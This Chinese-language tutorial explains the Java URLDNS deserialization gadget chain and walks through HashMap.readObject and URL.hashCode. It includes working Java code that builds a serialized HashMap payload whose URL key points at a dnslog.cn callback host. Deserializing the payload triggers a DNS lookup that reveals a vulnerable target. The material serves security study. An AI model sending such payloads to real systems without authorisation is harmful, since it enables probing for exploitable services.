序列化和反序列化
URLDNS利用链 原理
java.util.HashMap
实现了 Serializable
接口,重写了 readObject
,在反序列化时会调用 hash
函数计算 key 的 hashCode ,而 java.net.URL
的 hashCode
在计算时会调用 getHostAddress
来解析域名,从而发出 DNS 请求
该利用链具有如下特点
不限制 jdk 版本,使用 Java 内置的 URL 类,不依赖于任何的第三方库
只对指定的 URL 发送 DNS 查询,不做其他操作
在目标没有回显的时候,能够通过 DNS 请求得知是否存在反序列列化漏洞
序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class SerializationTest { public static void Serialize (Object object) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); objectOutputStream.writeObject(object); } public static void main (String[] args) throws Exception{ HashMap<URL,Integer> hashMap = new HashMap <>(); URL url = new URL ("http://gkkog0.dnslog.cn" ); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode" ); hashcodefield.setAccessible(true ); hashcodefield.set(url,1234 ); hashMap.put(url,1 ); hashcodefield.set(url,-1 ); Serialize(hashMap); } }
反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;public class UnSeriazationTest { public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj=ois.readObject(); return obj; } public static void main (String[] args) throws IOException, ClassNotFoundException { unserialize("ser.bin" ); } }
反序列化具体代码分析:
1 2 3 4 5 6 7 for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); }
对传入的内容进行反序列化,获得到key、value,然后对key传入hash方法。 接下来再看一下hash方法
1 2 3 4 static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
如果key不为空,则进行hashCode方法,而我们在前面提到url类的hashCode方法是可以发起url请求对。现在需要做的就是我们需要将一个内容传送给hashcode方法,对该内容反序列护化获取key、value。然后对key调用hascode方法,如果key是url对象,url对象的hashcode方法可以发起url请求(要用到反射的知识,在代码运行的时候动态的修改类的属性值,把hashcode改为-1)
整体流程:
1 2 3 4 1. 将URL对象作为key放入hashMap中,将其序列化发送给目标机器 2. 如果目标机器存在反序列化漏洞,那么会执行 HashMap.readObject() 将数据反序列化 3. 在反序列化期间,为了还原hashmap的内容,会调用 hash() 方法,而 hash() 函数会调用传入参数的 hashCode() 方法 4. 当URL对象的 hashCode 属性值为-1时会调用 handler.hashCode() 方法,而这个方法会进行一次DNS查询
反序列化后收到解析记录
Burp插件,拥有类似dnslog功能